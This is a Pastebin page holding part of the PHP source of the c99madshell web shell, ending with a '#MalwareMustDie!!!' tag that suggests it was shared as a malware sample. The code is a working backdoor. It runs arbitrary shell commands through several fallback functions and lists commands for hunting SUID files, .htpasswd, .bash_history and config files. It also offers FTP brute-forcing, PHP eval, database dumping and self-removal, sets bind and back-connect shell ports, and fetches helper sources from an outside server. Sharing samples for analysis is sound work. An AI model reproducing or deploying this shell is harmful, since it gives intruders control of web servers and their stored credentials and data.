Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?phpif (!function_exists("getmicrotime"))
- {
- function getmicrotime()
- {
- list($usec, $sec) = explode(" ", microtime());
- return ((float)$usec + (float)$sec);
- }
- }
- error_reporting(5);
- @ignore_user_abort(TRUE);
- @set_magic_quotes_runtime(0);
- $win = strtolower(substr(PHP_OS,0,3)) == "win";
- define("starttime",getmicrotime());
- if (get_magic_quotes_gpc())
- {
- if (!function_exists("strips"))
- {
- function strips(&$arr,$k="")
- {
- if (is_array($arr))
- {
- foreach($arr as $k=>$v)
- {
- if (strtoupper($k) != "GLOBALS")
- {
- strips($arr["$k"]);
- }
- }
- }
- else
- {
- $arr = stripslashes($arr);
- }
- }
- }
- strips($GLOBALS);
- }
- $_REQUEST = array_merge($_COOKIE,$_POST);
- foreach($_REQUEST as $k=>$v)
- {
- if (!isset($$k))
- {
- $$k = $v;
- }
- }
- $shver = "2.0 madnet edition";
- if (empty($surl))
- {
- $surl = $_SERVER['PHP_SELF'];
- }
- $surl = htmlspecialchars($surl);
- $timelimit = 0;
- $host_allow = array("*");
- $login_txt = "Admin area";
- $accessdeniedmess = "<a href=\"http://securityprobe.net\">c99madshell v.".$shver."</a>: access denied";
- $gzipencode = TRUE;
- $c99sh_sourcesurl = "http://ccteam.ru/files/c99sh_sources/";
- //Sources-server$filestealth = TRUE;
- $donated_html = "<center><b>Owned by root</b></center>";
- $donated_act = array("");
- $curdir = "./";
- $tmpdir = "";
- $tmpdir_log = "./";
- $log_email = "user@host.gov";
- $sort_default = "0a";
- $sort_save = TRUE;
- $ftypes = array( "html"=>array("html","htm","shtml"), "txt"=>array("txt","conf","bat","sh","js","bak","doc","log","sfc","cfg","htaccess"), "exe"=>array("sh","install","bat","cmd"), "ini"=>array("ini","inf"), "code"=>array("php","phtml","php3","php4","inc","tcl","h","c","cpp","py","cgi","pl"), "img"=>array("gif","png","jpeg","jfif","jpg","jpe","bmp","ico","tif","tiff","avi","mpg","mpeg"), "sdb"=>array("sdb"), "phpsess"=>array("sess"), "download"=>array("exe","com","pif","src","lnk","zip","rar","gz","tar"));
- $exeftypes = array( getenv("PHPRC")." -q %f%" => array("php","php3","php4"), "perl %f%" => array("pl","cgi"));
- $regxp_highlight = array( array(basename($_SERVER["PHP_SELF"]),1,"<font color=\"yellow\">","</font>"), array("config.php",1) // example);
- $safemode_diskettes = array("a");
- $hexdump_lines = 8;
- $hexdump_rows = 24;
- $nixpwdperpage = 100;
- $bindport_pass = "c99mad";
- $bindport_port = "31373";
- $bc_port = "31373";
- $datapipe_localport = "8081";
- if (!$win)
- {
- $cmdaliases = array( array("-----------------------------------------------------------", "ls -la"), array("find all suid files", "find / -type f -perm -04000 -ls"), array("find suid files in current dir", "find . -type f -perm -04000 -ls"), array("find all sgid files", "find / -type f -perm -02000 -ls"), array("find sgid files in current dir", "find . -type f -perm -02000 -ls"), array("find config.inc.php files", "find / -type f -name config.inc.php"), array("find config* files", "find / -type f -name \"config*\""), array("find config* files in current dir", "find . -type f -name \"config*\""), array("find all writable folders and files", "find / -perm -2 -ls"), array("find all writable folders and files in current dir", "find . -perm -2 -ls"), array("find all service.pwd files", "find / -type f -name service.pwd"), array("find service.pwd files in current dir", "find . -type f -name service.pwd"), array("find all .htpasswd files", "find / -type f -name .htpasswd"), array("find .htpasswd files in current dir", "find . -type f -name .htpasswd"), array("find all .bash_history files", "find / -type f -name .bash_history"), array("find .bash_history files in current dir", "find . -type f -name .bash_history"), array("find all .fetchmailrc files", "find / -type f -name .fetchmailrc"), array("find .fetchmailrc files in current dir", "find . -type f -name .fetchmailrc"), array("list file attributes on a Linux second extended file system", "lsattr -va"), array("show opened ports", "netstat -an | grep -i listen") );
- }
- else
- {
- $cmdaliases = array( array("-----------------------------------------------------------", "dir"), array("show opened ports", "netstat -an") );
- }
- $sess_cookie = "c99shvars";
- $usefsbuff = TRUE;
- $copy_unset = FALSE;
- $quicklaunch = array( array("<b><hr>HOME</b>",$surl), array("<b><=</b>","#\" onclick=\"history.back(1)"), array("<b>=></b>","#\" onclick=\"history.go(1)"), array("<b>UPDIR</b>","#\" onclick=\"document.todo.act.value='ls';document.todo.d.value='%upd';document.todo.sort.value='%sort';document.todo.submit();"), array("<b>Search</b>","#\" onclick=\"document.todo.act.value='search';document.todo.d.value='%d';document.todo.submit();"), array("<b>Buffer</b>","#\" onclick=\"document.todo.act.value='fsbuff';document.todo.d.value='%d';document.todo.submit();"), array("<b>Tools</b>","#\" onclick=\"document.todo.act.value='tools';document.todo.d.value='%d';document.todo.submit();"), array("<b>Proc.</b>","#\" onclick=\"document.todo.act.value='processes';document.todo.d.value='%d';document.todo.submit();"), array("<b>FTP brute</b>","#\" onclick=\"document.todo.act.value='ftpquickbrute';document.todo.d.value='%d';document.todo.submit();"), array("<b>Sec.</b>","#\" onclick=\"document.todo.act.value='security';document.todo.d.value='%d';document.todo.submit();"), array("<b>SQL</b>","#\" onclick=\"document.todo.act.value='sql';document.todo.d.value='%d';document.todo.submit();"), array("<b>PHP-code</b>","#\" onclick=\"document.todo.act.value='eval';document.todo.d.value='%d';document.todo.submit();"), array("<b>Self remove</b>","#\" onclick=\"document.todo.act.value='selfremove';document.todo.submit();"), array("<b>Logout</b>","#\" onclick=\"if (confirm('Are you sure?')) window.close()"));
- $highlight_background = "#c0c0c0";
- $highlight_bg = "#FFFFFF";
- $highlight_comment = "#6A6A6A";
- $highlight_default = "#0000BB";
- $highlight_html = "#1300FF";
- $highlight_keyword = "#007700";
- $highlight_string = "#000000";
- @$f = $_REQUEST["f"];
- @extract($_REQUEST["c99shcook"]);
- /////////////////////////////////////@set_time_limit(0);
- $tmp = array();
- foreach($host_allow as $k=>$v)
- {
- $tmp[] = str_replace("\\*",".*",preg_quote($v));
- }
- $s = "!^(".implode("|",$tmp).")$!i";
- if (!preg_match($s,getenv("REMOTE_ADDR")) and !preg_match($s,gethostbyaddr(getenv("REMOTE_ADDR"))))
- {
- exit("<a href=\"http://securityprobe.net\">c99madshell</a>: Access Denied - your host (".getenv("REMOTE_ADDR").") not allow");
- }
- if (!empty($login))
- {
- if (empty($md5_pass))
- {
- $md5_pass = md5($pass);
- }
- if (($_SERVER["PHP_AUTH_USER"] != $login) or (md5($_SERVER["PHP_AUTH_PW"]) != $md5_pass))
- {
- if (empty($login_txt))
- {
- $login_txt = strip_tags(ereg_replace(" |<br>"," ",$donated_html));
- }
- header("WWW-Authenticate: Basic realm=\"c99shell ".$shver.": ".$login_txt."\"");
- header("HTTP/1.0 401 Unauthorized");
- exit($accessdeniedmess);
- }
- }
- if (isset($_POST['act'])) $act = $_POST['act'];
- if (isset($_POST['d'])) $d = urldecode($_POST['d']);
- if (isset($_POST['sort'])) $sort = $_POST['sort'];
- if (isset($_POST['f'])) $f = $_POST['f'];
- if (isset($_POST['ft'])) $ft = $_POST['ft'];
- if (isset($_POST['grep'])) $grep = $_POST['grep'];
- if (isset($_POST['processes_sort'])) $processes_sort = $_POST['processes_sort'];
- if (isset($_POST['pid'])) $pid = $_POST['pid'];
- if (isset($_POST['sig'])) $sig = $_POST['sig'];
- if (isset($_POST['base64'])) $base64 = $_POST['base64'];
- if (isset($_POST['fullhexdump'])) $fullhexdump = $_POST['fullhexdump'];
- if (isset($_POST['c'])) $c = $_POST['c'];
- if (isset($_POST['white'])) $white = $_POST['white'];
- if (isset($_POST['nixpasswd'])) $nixpasswd = $_POST['nixpasswd'];
- $lastdir = realpath(".");
- chdir($curdir);
- $sess_data = unserialize($_COOKIE["$sess_cookie"]);
- if (!is_array($sess_data))
- {
- $sess_data = array();
- }
- if (!is_array($sess_data["copy"]))
- {
- $sess_data["copy"] = array();
- }
- if (!is_array($sess_data["cut"]))
- {
- $sess_data["cut"] = array();
- }
- $disablefunc = @ini_get("disable_functions");
- if (!empty($disablefunc))
- {
- $disablefunc = str_replace(" ","",$disablefunc);
- $disablefunc = explode(",",$disablefunc);
- }
- if (!function_exists("c99_buff_prepare"))
- {
- function c99_buff_prepare()
- {
- global $sess_data;
- global $act;
- foreach($sess_data["copy"] as $k=>$v)
- {
- $sess_data["copy"][$k] = str_replace("\\",DIRECTORY_SEPARATOR,realpath($v));
- }
- foreach($sess_data["cut"] as $k=>$v)
- {
- $sess_data["cut"][$k] = str_replace("\\",DIRECTORY_SEPARATOR,realpath($v));
- }
- $sess_data["copy"] = array_unique($sess_data["copy"]);
- $sess_data["cut"] = array_unique($sess_data["cut"]);
- sort($sess_data["copy"]);
- sort($sess_data["cut"]);
- if ($act != "copy")
- {
- foreach($sess_data["cut"] as $k=>$v)
- {
- if ($sess_data["copy"][$k] == $v)
- {
- unset($sess_data["copy"][$k]);
- }
- }
- }
- else
- {
- foreach($sess_data["copy"] as $k=>$v)
- {
- if ($sess_data["cut"][$k] == $v)
- {
- unset($sess_data["cut"][$k]);
- }
- }
- }
- }
- }
- c99_buff_prepare();
- if (!function_exists("c99_sess_put"))
- {
- function c99_sess_put($data)
- {
- global $sess_cookie;
- global $sess_data;
- c99_buff_prepare();
- $sess_data = $data;
- $data = serialize($data);
- setcookie($sess_cookie,$data);
- }
- }
- foreach (array("sort","sql_sort") as $v)
- {
- if (!empty($_POST[$v]))
- {
- $$v = $_POST[$v];
- }
- }
- if ($sort_save)
- {
- if (!empty($sort))
- {
- setcookie("sort",$sort);
- }
- if (!empty($sql_sort))
- {
- setcookie("sql_sort",$sql_sort);
- }
- }
- if (!function_exists("str2mini"))
- {
- function str2mini($content,$len)
- {
- if (strlen($content) > $len)
- {
- $len = ceil($len/2) - 2;
- return substr($content, 0,$len)."...".substr($content,-$len);
- }
- else
- {
- return $content;
- }
- }
- }
- if (!function_exists("view_size"))
- {
- function view_size($size)
- {
- if (!is_numeric($size))
- {
- return FALSE;
- }
- else
- {
- if ($size >= 1073741824)
- {
- $size = round($size/1073741824*100)/100 ." GB";
- }
- elseif ($size >= 1048576)
- {
- $size = round($size/1048576*100)/100 ." MB";
- }
- elseif ($size >= 1024)
- {
- $size = round($size/1024*100)/100 ." KB";
- }
- else
- {
- $size = $size . " B";
- }
- return $size;
- }
- }
- }
- if (!function_exists("fs_copy_dir"))
- {
- function fs_copy_dir($d,$t)
- {
- $d = str_replace("\\",DIRECTORY_SEPARATOR,$d);
- if (substr($d,-1) != DIRECTORY_SEPARATOR)
- {
- $d .= DIRECTORY_SEPARATOR;
- }
- $h = opendir($d);
- while (($o = readdir($h)) !== FALSE)
- {
- if (($o != ".") and ($o != ".."))
- {
- if (!is_dir($d.DIRECTORY_SEPARATOR.$o))
- {
- $ret = copy($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);
- }
- else
- {
- $ret = mkdir($t.DIRECTORY_SEPARATOR.$o);
- fs_copy_dir($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);
- }
- if (!$ret)
- {
- return $ret;
- }
- }
- }
- closedir($h);
- return TRUE;
- }
- }
- if (!function_exists("fs_copy_obj"))
- {
- function fs_copy_obj($d,$t)
- {
- $d = str_replace("\\",DIRECTORY_SEPARATOR,$d);
- $t = str_replace("\\",DIRECTORY_SEPARATOR,$t);
- if (!is_dir(dirname($t)))
- {
- mkdir(dirname($t));
- }
- if (is_dir($d))
- {
- if (substr($d,-1) != DIRECTORY_SEPARATOR)
- {
- $d .= DIRECTORY_SEPARATOR;
- }
- if (substr($t,-1) != DIRECTORY_SEPARATOR)
- {
- $t .= DIRECTORY_SEPARATOR;
- }
- return fs_copy_dir($d,$t);
- }
- elseif (is_file($d))
- {
- return copy($d,$t);
- }
- else
- {
- return FALSE;
- }
- }
- }
- if (!function_exists("fs_move_dir"))
- {
- function fs_move_dir($d,$t)
- {
- $h = opendir($d);
- if (!is_dir($t))
- {
- mkdir($t);
- }
- while (($o = readdir($h)) !== FALSE)
- {
- if (($o != ".") and ($o != ".."))
- {
- $ret = TRUE;
- if (!is_dir($d.DIRECTORY_SEPARATOR.$o))
- {
- $ret = copy($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);
- }
- else
- {
- if (mkdir($t.DIRECTORY_SEPARATOR.$o) and fs_copy_dir($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o))
- {
- $ret = FALSE;
- }
- }
- if (!$ret)
- {
- return $ret;
- }
- }
- }
- closedir($h);
- return TRUE;
- }
- }
- if (!function_exists("fs_move_obj"))
- {
- function fs_move_obj($d,$t)
- {
- $d = str_replace("\\",DIRECTORY_SEPARATOR,$d);
- $t = str_replace("\\",DIRECTORY_SEPARATOR,$t);
- if (is_dir($d))
- {
- if (substr($d,-1) != DIRECTORY_SEPARATOR)
- {
- $d .= DIRECTORY_SEPARATOR;
- }
- if (substr($t,-1) != DIRECTORY_SEPARATOR)
- {
- $t .= DIRECTORY_SEPARATOR;
- }
- return fs_move_dir($d,$t);
- }
- elseif (is_file($d))
- {
- if(copy($d,$t))
- {
- return unlink($d);
- }
- else
- {
- unlink($t);
- return FALSE;
- }
- }
- else
- {
- return FALSE;
- }
- }
- }
- if (!function_exists("fs_rmdir"))
- {
- function fs_rmdir($d)
- {
- $h = opendir($d);
- while (($o = readdir($h)) !== FALSE)
- {
- if (($o != ".") and ($o != ".."))
- {
- if (!is_dir($d.$o))
- {
- unlink($d.$o);
- }
- else
- {
- fs_rmdir($d.$o.DIRECTORY_SEPARATOR);
- rmdir($d.$o);
- }
- }
- }
- closedir($h);
- rmdir($d);
- return !is_dir($d);
- }
- }
- if (!function_exists("fs_rmobj"))
- {
- function fs_rmobj($o)
- {
- $o = str_replace("\\",DIRECTORY_SEPARATOR,$o);
- if (is_dir($o))
- {
- if (substr($o,-1) != DIRECTORY_SEPARATOR)
- {
- $o .= DIRECTORY_SEPARATOR;
- }
- return fs_rmdir($o);
- }
- elseif (is_file($o))
- {
- return unlink($o);
- }
- else
- {
- return FALSE;
- }
- }
- }
- if (!function_exists("myshellexec"))
- {
- function myshellexec($cmd)
- {
- global $disablefunc;
- $result = "";
- if (!empty($cmd))
- {
- if (is_callable("exec") and !in_array("exec",$disablefunc))
- {
- exec($cmd,$result);
- $result = join("\n",$result);
- }
- elseif (($result = `$cmd`) !== FALSE)
- {
- }
- elseif (is_callable("system") and !in_array("system",$disablefunc))
- {
- $v = @ob_get_contents();
- @ob_clean();
- system($cmd);
- $result = @ob_get_contents();
- @ob_clean();
- echo $v;
- }
- elseif (is_callable("passthru") and !in_array("passthru",$disablefunc))
- {
- $v = @ob_get_contents();
- @ob_clean();
- passthru($cmd);
- $result = @ob_get_contents();
- @ob_clean();
- echo $v;
- }
- elseif (is_resource($fp = popen($cmd,"r")))
- {
- $result = "";
- while(!feof($fp))
- {
- $result .= fread($fp,1024);
- }
- pclose($fp);
- }
- }
- return $result;
- }
- }
- if (!function_exists("tabsort"))
- {
- function tabsort($a,$b)
- {
- global $v;
- return strnatcmp($a[$v], $b[$v]);
- }
- }
- if (!function_exists("view_perms"))
- {
- function view_perms($mode)
- {
- if (($mode & 0xC000) === 0xC000)
- {
- $type = "s";
- }
- elseif (($mode & 0x4000) === 0x4000)
- {
- $type = "d";
- }
- elseif (($mode & 0xA000) === 0xA000)
- {
- $type = "l";
- }
- elseif (($mode & 0x8000) === 0x8000)
- {
- $type = "-";
- }
- elseif (($mode & 0x6000) === 0x6000)
- {
- $type = "b";
- }
- elseif (($mode & 0x2000) === 0x2000)
- {
- $type = "c";
- }
- elseif (($mode & 0x1000) === 0x1000)
- {
- $type = "p";
- }
- else
- {
- $type = "?";
- }
- $owner["read"] = ($mode & 00400)?"r":"-";
- $owner["write"] = ($mode & 00200)?"w":"-";
- $owner["execute"] = ($mode & 00100)?"x":"-";
- $group["read"] = ($mode & 00040)?"r":"-";
- $group["write"] = ($mode & 00020)?"w":"-";
- $group["execute"] = ($mode & 00010)?"x":"-";
- $world["read"] = ($mode & 00004)?"r":"-";
- $world["write"] = ($mode & 00002)? "w":"-";
- $world["execute"] = ($mode & 00001)?"x":"-";
- if ($mode & 0x800)
- {
- $owner["execute"] = ($owner["execute"] == "x")?"s":"S";
- }
- if ($mode & 0x400)
- {
- $group["execute"] = ($group["execute"] == "x")?"s":"S";
- }
- if ($mode & 0x200)
- {
- $world["execute"] = ($world["execute"] == "x")?"t":"T";
- }
- return $type.join("",$owner).join("",$group).join("",$world);
- }
- }
- if (!function_exists("posix_getpwuid") and !in_array("posix_getpwuid",$disablefunc))
- {
- function posix_getpwuid($uid)
- {
- return FALSE;
- }
- }
- if (!function_exists("posix_getgrgid") and !in_array("posix_getgrgid",$disablefunc))
- {
- function posix_getgrgid($gid)
- {
- return FALSE;
- }
- }
- if (!function_exists("posix_kill") and !in_array("posix_kill",$disablefunc))
- {
- function posix_kill($gid)
- {
- return FALSE;
- }
- }
- if (!function_exists("parse_perms"))
- {
- function parse_perms($mode)
- {
- if (($mode & 0xC000) === 0xC000)
- {
- $t = "s";
- }
- elseif (($mode & 0x4000) === 0x4000)
- {
- $t = "d";
- }
- elseif (($mode & 0xA000) === 0xA000)
- {
- $t = "l";
- }
- elseif (($mode & 0x8000) === 0x8000)
- {
- $t = "-";
- }
- elseif (($mode & 0x6000) === 0x6000)
- {
- $t = "b";
- }
- elseif (($mode & 0x2000) === 0x2000)
- {
- $t = "c";
- }
- elseif (($mode & 0x1000) === 0x1000)
- {
- $t = "p";
- }
- else
- {
- $t = "?";
- }
- $o["r"] = ($mode & 00400) > 0;
- $o["w"] = ($mode & 00200) > 0;
- $o["x"] = ($mode & 00100) > 0;
- $g["r"] = ($mode & 00040) > 0;
- $g["w"] = ($mode & 00020) > 0;
- $g["x"] = ($mode & 00010) > 0;
- $w["r"] = ($mode & 00004) > 0;
- $w["w"] = ($mode & 00002) > 0;
- $w["x"] = ($mode & 00001) > 0;
- return array("t"=>$t,"o"=>$o,"g"=>$g,"w"=>$w);
- }
- }
- if (!function_exists("parsesort"))
- {
- function parsesort($sort)
- {
- $one = intval($sort);
- $second = substr($sort,-1);
- if ($second != "d")
- {
- $second = "a";
- }
- return array($one,$second);
- }
- }
- if (!function_exists("view_perms_color"))
- {
- function view_perms_color($o)
- {
- if (!is_readable($o))
- {
- return "<font color=red>".view_perms(fileperms($o))."</font>";
- }
- elseif (!is_writable($o))
- {
- return "<font color=white>".view_perms(fileperms($o))."</font>";
- }
- else
- {
- return "<font color=green>".view_perms(fileperms($o))."</font>";
- }
- }
- }
- if (!function_exists("c99getsource"))
- {
- function c99getsource($fn)
- {
- global $c99sh_sourcesurl;
- $array = array( "c99sh_bindport.pl" => "c99sh_bindport_pl.txt", "c99sh_bindport.c" => "c99sh_bindport_c.txt", "c99sh_backconn.pl" => "c99sh_backconn_pl.txt", "c99sh_backconn.c" => "c99sh_backconn_c.txt", "c99sh_datapipe.pl" => "c99sh_datapipe_pl.txt", "c99sh_datapipe.c" => "c99sh_datapipe_c.txt", );
- $name = $array[$fn];
- if ($name)
- {
- return file_get_contents($c99sh_sourcesurl.$name);
- }
- else
- {
- return FALSE;
- }
- }
- }
- if (!function_exists("mysql_dump"))
- {
- function mysql_dump($set)
- {
- global $shver;
- $sock = $set["sock"];
- $db = $set["db"];
- $print = $set["print"];
- $nl2br = $set["nl2br"];
- $file = $set["file"];
- $add_drop = $set["add_drop"];
- $tabs = $set["tabs"];
- $onlytabs = $set["onlytabs"];
- $ret = array();
- $ret["err"] = array();
- if (!is_resource($sock))
- {
- echo("Error: \$sock is not valid resource.");
- }
- if (empty($db))
- {
- $db = "db";
- }
- if (empty($print))
- {
- $print = 0;
- }
- if (empty($nl2br))
- {
- $nl2br = 0;
- }
- if (empty($add_drop))
- {
- $add_drop = TRUE;
- }
- if (empty($file))
- {
- $file = $tmpdir."dump_".getenv("SERVER_NAME")."_".$db."_".date("d-m-Y-H-i-s").".sql";
- }
- if (!is_array($tabs))
- {
- $tabs = array();
- }
- if (empty($add_drop))
- {
- $add_drop = TRUE;
- }
- if (sizeof($tabs) == 0)
- {
- // retrive tables-list $res = mysql_query("SHOW TABLES FROM ".$db, $sock);
- if (mysql_num_rows($res) > 0)
- {
- while ($row = mysql_fetch_row($res))
- {
- $tabs[] = $row[0];
- }
- }
- }
- $out = "# Dumped by C99madShell.SQL v. ".$shver."# Home page: http://securityprobe.net## Host settings:# MySQL version: (".mysql_get_server_info().") running on ".getenv("SERVER_ADDR")." (".getenv("SERVER_NAME").")"."# Date: ".date("d.m.Y H:i:s")."# DB: \"".$db."\"#---------------------------------------------------------";
- $c = count($onlytabs);
- foreach($tabs as $tab)
- {
- if ((in_array($tab,$onlytabs)) or (!$c))
- {
- if ($add_drop)
- {
- $out .= "DROP TABLE IF EXISTS `".$tab."`;\n";
- }
- // recieve query for create table structure $res = mysql_query("SHOW CREATE TABLE `".$tab."`", $sock);
- if (!$res)
- {
- $ret["err"][] = mysql_smarterror();
- }
- else
- {
- $row = mysql_fetch_row($res);
- $out .= $row["1"].";\n\n";
- // recieve table variables $res = mysql_query("SELECT * FROM `$tab`", $sock);
- if (mysql_num_rows($res) > 0)
- {
- while ($row = mysql_fetch_assoc($res))
- {
- $keys = implode("`, `", array_keys($row));
- $values = array_values($row);
- foreach($values as $k=>$v)
- {
- $values[$k] = addslashes($v);
- }
- $values = implode("', '", $values);
- $sql = "INSERT INTO `$tab`(`".$keys."`) VALUES ('".$values."');\n";
- $out .= $sql;
- }
- }
- }
- }
- }
- $out .= "#---------------------------------------------------------------------------------\n\n";
- if ($file)
- {
- $fp = fopen($file, "w");
- if (!$fp)
- {
- $ret["err"][] = 2;
- }
- else
- {
- fwrite ($fp, $out);
- fclose ($fp);
- }
- }
- if ($print)
- {
- if ($nl2br)
- {
- echo nl2br($out);
- }
- else
- {
- echo $out;
- }
- }
- return $out;
- }
- }
- if (!function_exists("mysql_buildwhere"))
- {
- function mysql_buildwhere($array,$sep=" and",$functs=array())
- {
- if (!is_array($array))
- {
- $array = array();
- }
- $result = "";
- foreach($array as $k=>$v)
- {
- $value = "";
- if (!empty($functs[$k]))
- {
- $value .= $functs[$k]."(";
- }
- $value .= "'".addslashes($v)."'";
- if (!empty($functs[$k]))
- {
- $value .= ")";
- }
- $result .= "`".$k."` = ".$value.$sep;
- }
- $result = substr($result,0,strlen($result)-strlen($sep));
- return $result;
- }
- }
- if (!function_exists("mysql_fetch_all"))
- {
- function mysql_fetch_all($query,$sock)
- {
- if ($sock)
- {
- $result = mysql_query($query,$sock);
- }
- else
- {
- $result = mysql_query($query);
- }
- $array = array();
- while ($row = mysql_fetch_array($result))
- {
- $array[] = $row;
- }
- mysql_free_result($result);
- return $array;
- }
- }
- if (!function_exists("mysql_smarterror"))
- {
- function mysql_smarterror($type,$sock)
- {
- if ($sock)
- {
- $error = mysql_error($sock);
- }
- else
- {
- $error = mysql_error();
- }
- $error = htmlspecialchars($error);
- return $error;
- }
- }
- if (!function_exists("mysql_query_form"))
- {
- function mysql_query_form()
- {
- global $submit,$sql_act,$sql_query,$sql_query_result,$sql_confirm,$sql_query_error,$tbl_struct;
- $sql_query = urldecode($sql_query);
- if (($submit) and (!$sql_query_result) and ($sql_confirm))
- {
- if (!$sql_query_error)
- {
- $sql_query_error = "Query was empty";
- }
- echo "<b>Error:</b> <br>".$sql_query_error."<br>";
- }
- if ($sql_query_result or (!$sql_confirm))
- {
- $sql_act = $sql_goto;
- }
- if ((!$submit) or ($sql_act))
- {
- echo "<table border=0><tr><td><form method=POST><b>"; if (($sql_query) and (!$submit))
- {
- echo "Do you really want to";
- }
- else
- {
- echo "SQL-Query";
- }
- echo ":</b><br><br><textarea name=sql_query cols=100 rows=10>".htmlspecialchars($sql_query)."
- #MalwareMustDie!!!
Add Comment
Please, Sign In to add comment